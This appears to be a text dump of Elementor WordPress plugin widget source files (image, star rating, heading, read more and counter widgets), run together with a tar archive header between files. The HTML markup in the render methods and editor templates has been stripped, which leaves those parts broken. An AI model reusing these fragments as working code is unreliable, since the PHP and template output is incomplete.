$this->add_responsive_control( 'width', [ 'label' => esc_html__( 'Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'default' => [ 'unit' => '%', ], 'tablet_default' => [ 'unit' => '%', ], 'mobile_default' => [ 'unit' => '%', ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ '%' => [ 'min' => 1, 'max' => 100, ], 'px' => [ 'min' => 1, 'max' => 1000, ], 'vw' => [ 'min' => 1, 'max' => 100, ], ], 'selectors' => [ '{{WRAPPER}} img' => 'width: {{SIZE}}{{UNIT}};', ], ] ); $this->add_responsive_control( 'space', [ 'label' => esc_html__( 'Max Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'default' => [ 'unit' => '%', ], 'tablet_default' => [ 'unit' => '%', ], 'mobile_default' => [ 'unit' => '%', ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ '%' => [ 'min' => 1, 'max' => 100, ], 'px' => [ 'min' => 1, 'max' => 1000, ], 'vw' => [ 'min' => 1, 'max' => 100, ], ], 'selectors' => [ '{{WRAPPER}} img' => 'max-width: {{SIZE}}{{UNIT}};', ], ] ); $this->add_responsive_control( 'height', [ 'label' => esc_html__( 'Height', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vh', 'custom' ], 'range' => [ 'px' => [ 'min' => 1, 'max' => 500, ], 'vh' => [ 'min' => 1, 'max' => 100, ], ], 'selectors' => [ '{{WRAPPER}} img' => 'height: {{SIZE}}{{UNIT}};', ], ] ); $this->add_responsive_control( 'object-fit', [ 'label' => esc_html__( 'Object Fit', 'elementor' ), 'type' => Controls_Manager::SELECT, 'condition' => [ 'height[size]!' => '', ], 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'fill' => esc_html__( 'Fill', 'elementor' ), 'cover' => esc_html__( 'Cover', 'elementor' ), 'contain' => esc_html__( 'Contain', 'elementor' ), 'scale-down' => esc_html__( 'Scale Down', 'elementor' ), ], 'default' => '', 'selectors' => [ '{{WRAPPER}} img' => 'object-fit: {{VALUE}};', ], ] ); $this->add_responsive_control( 'object-position', [ 'label' => esc_html__( 'Object Position', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'center center' => esc_html__( 'Center Center', 'elementor' ), 'center left' => esc_html__( 'Center Left', 'elementor' ), 'center right' => esc_html__( 'Center Right', 'elementor' ), 'top center' => esc_html__( 'Top Center', 'elementor' ), 'top left' => esc_html__( 'Top Left', 'elementor' ), 'top right' => esc_html__( 'Top Right', 'elementor' ), 'bottom center' => esc_html__( 'Bottom Center', 'elementor' ), 'bottom left' => esc_html__( 'Bottom Left', 'elementor' ), 'bottom right' => esc_html__( 'Bottom Right', 'elementor' ), ], 'default' => 'center center', 'selectors' => [ '{{WRAPPER}} img' => 'object-position: {{VALUE}};', ], 'condition' => [ 'height[size]!' => '', 'object-fit' => [ 'cover', 'contain', 'scale-down' ], ], ] ); $this->add_control( 'separator_panel_style', [ 'type' => Controls_Manager::DIVIDER, 'style' => 'thick', ] ); $this->start_controls_tabs( 'image_effects' ); $this->start_controls_tab( 'normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_control( 'opacity', [ 'label' => esc_html__( 'Opacity', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'max' => 1, 'min' => 0.10, 'step' => 0.01, ], ], 'selectors' => [ '{{WRAPPER}} img' => 'opacity: {{SIZE}};', ], ] ); $this->add_group_control( Group_Control_Css_Filter::get_type(), [ 'name' => 'css_filters', 'selector' => '{{WRAPPER}} img', ] ); $this->end_controls_tab(); $this->start_controls_tab( 'hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'opacity_hover', [ 'label' => esc_html__( 'Opacity', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'max' => 1, 'min' => 0.10, 'step' => 0.01, ], ], 'selectors' => [ '{{WRAPPER}}:hover img' => 'opacity: {{SIZE}};', ], ] ); $this->add_group_control( Group_Control_Css_Filter::get_type(), [ 'name' => 'css_filters_hover', 'selector' => '{{WRAPPER}}:hover img', ] ); $this->add_control( 'background_hover_transition', [ 'label' => esc_html__( 'Transition Duration', 'elementor' ) . ' (s)', 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 0, 'max' => 3, 'step' => 0.1, ], ], 'selectors' => [ '{{WRAPPER}} img' => 'transition-duration: {{SIZE}}s', ], ] ); $this->add_control( 'hover_animation', [ 'label' => esc_html__( 'Hover Animation', 'elementor' ), 'type' => Controls_Manager::HOVER_ANIMATION, ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'image_border', 'selector' => '{{WRAPPER}} img', 'separator' => 'before', ] ); $this->add_responsive_control( 'image_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} img' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => 'image_box_shadow', 'exclude' => [ 'box_shadow_position', ], 'selector' => '{{WRAPPER}} img', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_style_caption', [ 'label' => esc_html__( 'Caption', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'image[url]!' => '', 'caption_source!' => 'none', ], ] ); $this->add_responsive_control( 'caption_align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-text-align-right', ], 'justify' => [ 'title' => esc_html__( 'Justified', 'elementor' ), 'icon' => 'eicon-text-align-justify', ], ], 'default' => '', 'selectors' => [ '{{WRAPPER}} .widget-image-caption' => 'text-align: {{VALUE}};', ], ] ); $this->add_control( 'text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}} .widget-image-caption' => 'color: {{VALUE}};', ], 'global' => [ 'default' => Global_Colors::COLOR_TEXT, ], ] ); $this->add_control( 'caption_background_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .widget-image-caption' => 'background-color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'caption_typography', 'selector' => '{{WRAPPER}} .widget-image-caption', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_TEXT, ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'caption_text_shadow', 'selector' => '{{WRAPPER}} .widget-image-caption', ] ); $this->add_responsive_control( 'caption_space', [ 'label' => esc_html__( 'Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'min' => 0, 'max' => 10, ], 'rem' => [ 'min' => 0, 'max' => 10, ], ], 'selectors' => [ '{{WRAPPER}} .widget-image-caption' => 'margin-block-start: {{SIZE}}{{UNIT}};', ], ] ); $this->end_controls_section(); } /** * Check if the current widget has caption * * @access private * @since 2.3.0 * * @param array $settings * * @return boolean */ private function has_caption( $settings ) { return ( ! empty( $settings['caption_source'] ) && 'none' !== $settings['caption_source'] ); } /** * Get the caption for current widget. * * @access private * @since 2.3.0 * @param $settings * * @return string */ private function get_caption( $settings ) { $caption = ''; if ( ! empty( $settings['caption_source'] ) ) { switch ( $settings['caption_source'] ) { case 'attachment': $caption = wp_get_attachment_caption( $settings['image']['id'] ); break; case 'custom': $caption = ! Utils::is_empty( $settings['caption'] ) ? $settings['caption'] : ''; } } return $caption; } /** * Render image widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); if ( empty( $settings['image']['url'] ) ) { return; } $has_caption = $this->has_caption( $settings ); $link = $this->get_link_url( $settings ); if ( $link ) { $this->add_link_attributes( 'link', $link ); if ( Plugin::$instance->editor->is_edit_mode() ) { $this->add_render_attribute( 'link', [ 'class' => 'elementor-clickable', ] ); } if ( 'custom' !== $settings['link_to'] ) { $this->add_lightbox_data_attributes( 'link', $settings['image']['id'], $settings['open_lightbox'] ); } } ?>
print_render_attribute_string( 'link' ); ?>>
get_caption( $settings ) ); ?>
<# if ( settings.image.url ) { var image = { id: settings.image.id, url: settings.image.url, size: settings.image_size, dimension: settings.image_custom_dimension, model: view.getEditModel() }; var image_url = elementor.imagesManager.getImageUrl( image ); if ( ! image_url ) { return; } var hasCaption = function() { if( ! settings.caption_source || 'none' === settings.caption_source ) { return false; } return true; } var ensureAttachmentData = function( id ) { if ( 'undefined' === typeof wp.media.attachment( id ).get( 'caption' ) ) { wp.media.attachment( id ).fetch().then( function( data ) { view.render(); } ); } } var getAttachmentCaption = function( id ) { if ( ! id ) { return ''; } ensureAttachmentData( id ); return wp.media.attachment( id ).get( 'caption' ); } var getCaption = function() { if ( ! hasCaption() ) { return ''; } return 'custom' === settings.caption_source ? settings.caption : getAttachmentCaption( settings.image.id ); } var link_url; if ( 'custom' === settings.link_to ) { link_url = settings.link.url; } if ( 'file' === settings.link_to ) { link_url = settings.image.url; } var imgClass = ''; if ( '' !== settings.hover_animation ) { imgClass = 'elementor-animation-' + settings.hover_animation; } if ( hasCaption() ) { #>
<# } if ( link_url ) { #><# } #><# if ( link_url ) { #><# } if ( hasCaption() ) { #>
{{{ getCaption() }}}
<# } if ( hasCaption() ) { #>
<# } } #> $settings['image']['url'], ]; } } includes/widgets/star-rating.php000064400000032312147206604650012777 0ustar00start_controls_section( 'section_rating', [ 'label' => esc_html__( 'Star Rating', 'elementor' ), ] ); if ( Plugin::$instance->widgets_manager->get_widget_types( 'rating' ) ) { $this->add_deprecation_message( '3.17.0', esc_html__( 'You are currently editing a Star Rating widget in its old version. Drag a new Rating widget onto your page to use a newer version, providing better capabilities.', 'elementor' ), 'rating' ); } $this->add_control( 'rating_scale', [ 'label' => esc_html__( 'Rating Scale', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ '5' => '0-5', '10' => '0-10', ], 'default' => '5', ] ); $this->add_control( 'rating', [ 'label' => esc_html__( 'Rating', 'elementor' ), 'type' => Controls_Manager::NUMBER, 'min' => 0, 'max' => 10, 'step' => 0.1, 'default' => 5, 'dynamic' => [ 'active' => true, ], ] ); $this->add_control( 'star_style', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'star_fontawesome' => 'Font Awesome', 'star_unicode' => 'Unicode', ], 'default' => 'star_fontawesome', 'render_type' => 'template', 'prefix_class' => 'elementor--star-style-', 'separator' => 'before', ] ); $this->add_control( 'unmarked_star_style', [ 'label' => esc_html__( 'Unmarked Style', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'solid' => [ 'title' => esc_html__( 'Solid', 'elementor' ), 'icon' => 'eicon-star', ], 'outline' => [ 'title' => esc_html__( 'Outline', 'elementor' ), 'icon' => 'eicon-star-o', ], ], 'default' => 'solid', ] ); $this->add_control( 'title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::TEXT, 'separator' => 'before', 'dynamic' => [ 'active' => true, ], ] ); $this->add_responsive_control( 'align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-text-align-right', ], 'justify' => [ 'title' => esc_html__( 'Justified', 'elementor' ), 'icon' => 'eicon-text-align-justify', ], ], 'prefix_class' => 'elementor-star-rating%s--align-', 'selectors' => [ '{{WRAPPER}}' => 'text-align: {{VALUE}}', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_title_style', [ 'label' => esc_html__( 'Title', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'title!' => '', ], ] ); $this->add_control( 'title_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'global' => [ 'default' => Global_Colors::COLOR_TEXT, ], 'selectors' => [ '{{WRAPPER}} .elementor-star-rating__title' => 'color: {{VALUE}}', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'title_typography', 'selector' => '{{WRAPPER}} .elementor-star-rating__title', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_TEXT, ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'title_shadow', 'selector' => '{{WRAPPER}} .elementor-star-rating__title', ] ); $this->add_responsive_control( 'title_gap', [ 'label' => esc_html__( 'Gap', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 50, ], 'em' => [ 'min' => 0, 'max' => 5, ], 'rem' => [ 'min' => 0, 'max' => 5, ], ], 'selectors' => [ 'body:not(.rtl) {{WRAPPER}}:not(.elementor-star-rating--align-justify) .elementor-star-rating__title' => 'margin-right: {{SIZE}}{{UNIT}}', 'body.rtl {{WRAPPER}}:not(.elementor-star-rating--align-justify) .elementor-star-rating__title' => 'margin-left: {{SIZE}}{{UNIT}}', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_stars_style', [ 'label' => esc_html__( 'Stars', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_responsive_control( 'icon_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'min' => 0, 'max' => 10, ], 'rem' => [ 'min' => 0, 'max' => 10, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-star-rating' => 'font-size: {{SIZE}}{{UNIT}}', ], ] ); $this->add_responsive_control( 'icon_space', [ 'label' => esc_html__( 'Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 50, ], 'em' => [ 'min' => 0, 'max' => 5, ], 'rem' => [ 'min' => 0, 'max' => 5, ], ], 'selectors' => [ 'body:not(.rtl) {{WRAPPER}} .elementor-star-rating i:not(:last-of-type)' => 'margin-right: {{SIZE}}{{UNIT}}', 'body.rtl {{WRAPPER}} .elementor-star-rating i:not(:last-of-type)' => 'margin-left: {{SIZE}}{{UNIT}}', ], ] ); $this->add_control( 'stars_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-star-rating i:before' => 'color: {{VALUE}}', ], 'separator' => 'before', ] ); $this->add_control( 'stars_unmarked_color', [ 'label' => esc_html__( 'Unmarked Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-star-rating i' => 'color: {{VALUE}}', ], ] ); $this->end_controls_section(); } /** * @since 2.3.0 * @access protected */ protected function get_rating() { $settings = $this->get_settings_for_display(); $rating_scale = (int) $settings['rating_scale']; $rating = (float) $settings['rating'] > $rating_scale ? $rating_scale : $settings['rating']; return [ $rating, $rating_scale ]; } /** * Print the actual stars and calculate their filling. * * Rating type is float to allow stars-count to be a fraction. * Floored-rating type is int, to represent the rounded-down stars count. * In the `for` loop, the index type is float to allow comparing with the rating value. * * @since 2.3.0 * @access protected */ protected function render_stars( $icon ) { $rating_data = $this->get_rating(); $rating = (float) $rating_data[0]; $floored_rating = floor( $rating ); $stars_html = ''; for ( $stars = 1.0; $stars <= $rating_data[1]; $stars++ ) { if ( $stars <= $floored_rating ) { $stars_html .= '' . $icon . ''; } elseif ( $floored_rating + 1 === $stars && $rating !== $floored_rating ) { $stars_html .= '' . $icon . ''; } else { $stars_html .= '' . $icon . ''; } } return $stars_html; } /** * @since 2.3.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); $rating_data = $this->get_rating(); $textual_rating = $rating_data[0] . '/' . $rating_data[1]; $icon = ''; if ( 'star_fontawesome' === $settings['star_style'] ) { if ( 'outline' === $settings['unmarked_star_style'] ) { $icon = ''; } } elseif ( 'star_unicode' === $settings['star_style'] ) { $icon = '★'; if ( 'outline' === $settings['unmarked_star_style'] ) { $icon = '☆'; } } $this->add_render_attribute( 'icon_wrapper', [ 'class' => 'elementor-star-rating', 'title' => $textual_rating, 'itemtype' => 'http://schema.org/Rating', 'itemscope' => '', 'itemprop' => 'reviewRating', ] ); $schema_rating = '' . $textual_rating . ''; $stars_element = '
get_render_attribute_string( 'icon_wrapper' ) . '>' . $this->render_stars( $icon ) . ' ' . $schema_rating . '
'; ?>
<# var getRating = function() { var ratingScale = parseInt( settings.rating_scale, 10 ), rating = settings.rating > ratingScale ? ratingScale : settings.rating; return [ rating, ratingScale ]; }, ratingData = getRating(), rating = ratingData[0], textualRating = ratingData[0] + '/' + ratingData[1], renderStars = function( icon ) { var starsHtml = '', flooredRating = Math.floor( rating ); for ( var stars = 1; stars <= ratingData[1]; stars++ ) { if ( stars <= flooredRating ) { starsHtml += '' + icon + ''; } else if ( flooredRating + 1 === stars && rating !== flooredRating ) { starsHtml += '' + icon + ''; } else { starsHtml += '' + icon + ''; } } return starsHtml; }, icon = ''; if ( 'star_fontawesome' === settings.star_style ) { if ( 'outline' === settings.unmarked_star_style ) { icon = ''; } } else if ( 'star_unicode' === settings.star_style ) { icon = '★'; if ( 'outline' === settings.unmarked_star_style ) { icon = '☆'; } } view.addRenderAttribute( 'iconWrapper', 'class', 'elementor-star-rating' ); view.addRenderAttribute( 'iconWrapper', 'itemtype', 'http://schema.org/Rating' ); view.addRenderAttribute( 'iconWrapper', 'title', textualRating ); view.addRenderAttribute( 'iconWrapper', 'itemscope', '' ); view.addRenderAttribute( 'iconWrapper', 'itemprop', 'reviewRating' ); var stars = renderStars( icon ); #>
<# if ( ! _.isEmpty( settings.title ) ) { #>
{{ settings.title }}
<# } #>
{{{ stars }}} {{ textualRating }}
$attributes ) { if ( in_array( $tag, $non_allowed_tags, true ) ) { continue; } $filtered_attributes = array_filter( $attributes, function( $attribute ) { return ! substr( $attribute, 0, 5 ) === 'data-'; }, ARRAY_FILTER_USE_KEY ); $allowed_tags_for_heading[ $tag ] = $filtered_attributes; } return wp_kses( $content, $allowed_tags_for_heading ); } /** * Get widget upsale data. * * Retrieve the widget promotion data. * * @since 3.18.0 * @access protected * * @return array Widget promotion data. */ protected function get_upsale_data() { return [ 'condition' => ! Utils::has_pro(), 'image' => esc_url( ELEMENTOR_ASSETS_URL . 'images/go-pro.svg' ), 'image_alt' => esc_attr__( 'Upgrade', 'elementor' ), 'description' => esc_html__( 'Create captivating headings that rotate with the Animated Headline Widget.', 'elementor' ), 'upgrade_url' => esc_url( 'https://go.elementor.com/go-pro-heading-widget/' ), 'upgrade_text' => esc_html__( 'Upgrade Now', 'elementor' ), ]; } /** * Register heading widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 3.1.0 * @access protected */ protected function register_controls() { $this->start_controls_section( 'section_title', [ 'label' => esc_html__( 'Heading', 'elementor' ), ] ); $this->add_control( 'title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'ai' => [ 'type' => 'text', ], 'dynamic' => [ 'active' => true, ], 'placeholder' => esc_html__( 'Enter your title', 'elementor' ), 'default' => esc_html__( 'Add Your Heading Text Here', 'elementor' ), ] ); $this->add_control( 'link', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], 'default' => [ 'url' => '', ], ] ); $this->add_control( 'size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'small' => esc_html__( 'Small', 'elementor' ), 'medium' => esc_html__( 'Medium', 'elementor' ), 'large' => esc_html__( 'Large', 'elementor' ), 'xl' => esc_html__( 'XL', 'elementor' ), 'xxl' => esc_html__( 'XXL', 'elementor' ), ], 'default' => 'default', 'condition' => [ 'size!' => 'default', // a workaround to hide the control, unless it's in use (not default). ], ] ); $this->add_control( 'header_size', [ 'label' => esc_html__( 'HTML Tag', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'h1' => 'H1', 'h2' => 'H2', 'h3' => 'H3', 'h4' => 'H4', 'h5' => 'H5', 'h6' => 'H6', 'div' => 'div', 'span' => 'span', 'p' => 'p', ], 'default' => 'h2', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_title_style', [ 'label' => esc_html__( 'Heading', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_responsive_control( 'align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-text-align-right', ], 'justify' => [ 'title' => esc_html__( 'Justified', 'elementor' ), 'icon' => 'eicon-text-align-justify', ], ], 'default' => '', 'selectors' => [ '{{WRAPPER}}' => 'text-align: {{VALUE}};', ], ] ); $this->add_control( 'title_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'global' => [ 'default' => Global_Colors::COLOR_PRIMARY, ], 'selectors' => [ '{{WRAPPER}} .elementor-heading-title' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'typography', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_PRIMARY, ], 'selector' => '{{WRAPPER}} .elementor-heading-title', ] ); $this->add_group_control( Group_Control_Text_Stroke::get_type(), [ 'name' => 'text_stroke', 'selector' => '{{WRAPPER}} .elementor-heading-title', ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'text_shadow', 'selector' => '{{WRAPPER}} .elementor-heading-title', ] ); $this->add_control( 'blend_mode', [ 'label' => esc_html__( 'Blend Mode', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ '' => esc_html__( 'Normal', 'elementor' ), 'multiply' => esc_html__( 'Multiply', 'elementor' ), 'screen' => esc_html__( 'Screen', 'elementor' ), 'overlay' => esc_html__( 'Overlay', 'elementor' ), 'darken' => esc_html__( 'Darken', 'elementor' ), 'lighten' => esc_html__( 'Lighten', 'elementor' ), 'color-dodge' => esc_html__( 'Color Dodge', 'elementor' ), 'saturation' => esc_html__( 'Saturation', 'elementor' ), 'color' => esc_html__( 'Color', 'elementor' ), 'difference' => esc_html__( 'Difference', 'elementor' ), 'exclusion' => esc_html__( 'Exclusion', 'elementor' ), 'hue' => esc_html__( 'Hue', 'elementor' ), 'luminosity' => esc_html__( 'Luminosity', 'elementor' ), ], 'selectors' => [ '{{WRAPPER}} .elementor-heading-title' => 'mix-blend-mode: {{VALUE}}', ], ] ); $this->end_controls_section(); } /** * Render heading widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); if ( '' === $settings['title'] ) { return; } $this->add_render_attribute( 'title', 'class', 'elementor-heading-title' ); if ( ! empty( $settings['size'] ) ) { $this->add_render_attribute( 'title', 'class', 'elementor-size-' . $settings['size'] ); } else { $this->add_render_attribute( 'title', 'class', 'elementor-size-default' ); } $this->add_inline_editing_attributes( 'title' ); $title = $settings['title']; if ( ! empty( $settings['link']['url'] ) ) { $this->add_link_attributes( 'url', $settings['link'] ); $title = sprintf( '%2$s', $this->get_render_attribute_string( 'url' ), $title ); } $title_html = sprintf( '<%1$s %2$s>%3$s', Utils::validate_html_tag( $settings['header_size'] ), $this->get_render_attribute_string( 'title' ), $title ); // PHPCS - the variable $title_html holds safe data. echo $title_html; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Render heading widget output in the editor. * * Written as a Backbone JavaScript template and used to generate the live preview. * * @since 2.9.0 * @access protected */ protected function content_template() { ?> <# let title = elementor.helpers.sanitize( settings.title, { ALLOW_DATA_ATTR: false } ); if ( '' !== settings.link.url ) { title = '' + title + ''; } view.addRenderAttribute( 'title', 'class', [ 'elementor-heading-title' ] ); if ( '' !== settings.size ) { view.addRenderAttribute( 'title', 'class', [ 'elementor-size-' + settings.size ] ); } else { view.addRenderAttribute( 'title', 'class', [ 'elementor-size-default' ] ); } view.addInlineEditingAttributes( 'title' ); var headerSizeTag = elementor.helpers.validateHTMLTag( settings.header_size ), title_html = '<' + headerSizeTag + ' ' + view.getRenderAttributeString( 'title' ) + '>' + title + ''; print( title_html ); #> start_controls_section( 'section_title', [ 'label' => esc_html__( 'Read More', 'elementor' ), ] ); $default_link_text = esc_html__( 'Continue reading', 'elementor' ); /** * Read More widgets link text. * * Filters the link text in the "Read More" widget. * * This hook can be used to set different default text in the widget. * * @param string $default_link_text The link text in the "Read More" widget. Default is "Continue reading". */ $default_link_text = apply_filters( 'elementor/widgets/read_more/default_link_text', $default_link_text ); $this->add_control( 'theme_support', [ 'type' => Controls_Manager::ALERT, 'alert_type' => 'warning', 'content' => sprintf( /* translators: %s: The `the_content` function. */ esc_html__( 'Note: This widget only affects themes that use `%s` in archive pages.', 'elementor' ), 'the_content' ), ] ); $this->add_control( 'link_text', [ 'label' => esc_html__( 'Read More Text', 'elementor' ), 'placeholder' => $default_link_text, 'default' => $default_link_text, 'dynamic' => [ 'active' => true, ], ] ); $this->end_controls_section(); } /** * Render Read More widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @access protected */ protected function render() { printf( '', wp_kses_post( $this->get_settings_for_display( 'link_text' ) ) ); } /** * Render Read More widget output in the editor. * * Written as a Backbone JavaScript template and used to generate the live preview. * * @since 2.9.0 * @access protected */ protected function content_template() { ?> start_controls_section( 'section_counter', [ 'label' => esc_html__( 'Counter', 'elementor' ), ] ); $this->add_control( 'starting_number', [ 'label' => esc_html__( 'Starting Number', 'elementor' ), 'type' => Controls_Manager::NUMBER, 'default' => 0, 'dynamic' => [ 'active' => true, ], ] ); $this->add_control( 'ending_number', [ 'label' => esc_html__( 'Ending Number', 'elementor' ), 'type' => Controls_Manager::NUMBER, 'default' => 100, 'dynamic' => [ 'active' => true, ], ] ); $this->add_control( 'prefix', [ 'label' => esc_html__( 'Number Prefix', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'default' => '', ] ); $this->add_control( 'suffix', [ 'label' => esc_html__( 'Number Suffix', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'default' => '', ] ); $this->add_control( 'duration', [ 'label' => esc_html__( 'Animation Duration', 'elementor' ) . ' (ms)', 'type' => Controls_Manager::NUMBER, 'default' => 2000, 'min' => 100, 'step' => 100, ] ); $this->add_control( 'thousand_separator', [ 'label' => esc_html__( 'Thousand Separator', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes', 'label_on' => esc_html__( 'Show', 'elementor' ), 'label_off' => esc_html__( 'Hide', 'elementor' ), ] ); $this->add_control( 'thousand_separator_char', [ 'label' => esc_html__( 'Separator', 'elementor' ), 'type' => Controls_Manager::SELECT, 'condition' => [ 'thousand_separator' => 'yes', ], 'options' => [ '' => 'Default', '.' => 'Dot', ' ' => 'Space', '_' => 'Underline', "'" => 'Apostrophe', ], ] ); $this->add_control( 'title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::TEXT, 'label_block' => true, 'separator' => 'before', 'dynamic' => [ 'active' => true, ], 'default' => esc_html__( 'Cool Number', 'elementor' ), ] ); $this->add_control( 'title_tag', [ 'label' => esc_html__( 'Title HTML Tag', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'h1' => 'H1', 'h2' => 'H2', 'h3' => 'H3', 'h4' => 'H4', 'h5' => 'H5', 'h6' => 'H6', 'div' => 'div', 'span' => 'span', 'p' => 'p', ], 'default' => 'div', 'condition' => [ 'title!' => '', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_counter_style', [ 'label' => esc_html__( 'Counter', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_responsive_control( 'title_position', [ 'label' => esc_html__( 'Title Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'before' => [ 'title' => esc_html__( 'Before', 'elementor' ), 'icon' => 'eicon-v-align-top', ], 'after' => [ 'title' => esc_html__( 'After', 'elementor' ), 'icon' => 'eicon-v-align-bottom', ], 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => "eicon-h-align-$start", ], 'end' => 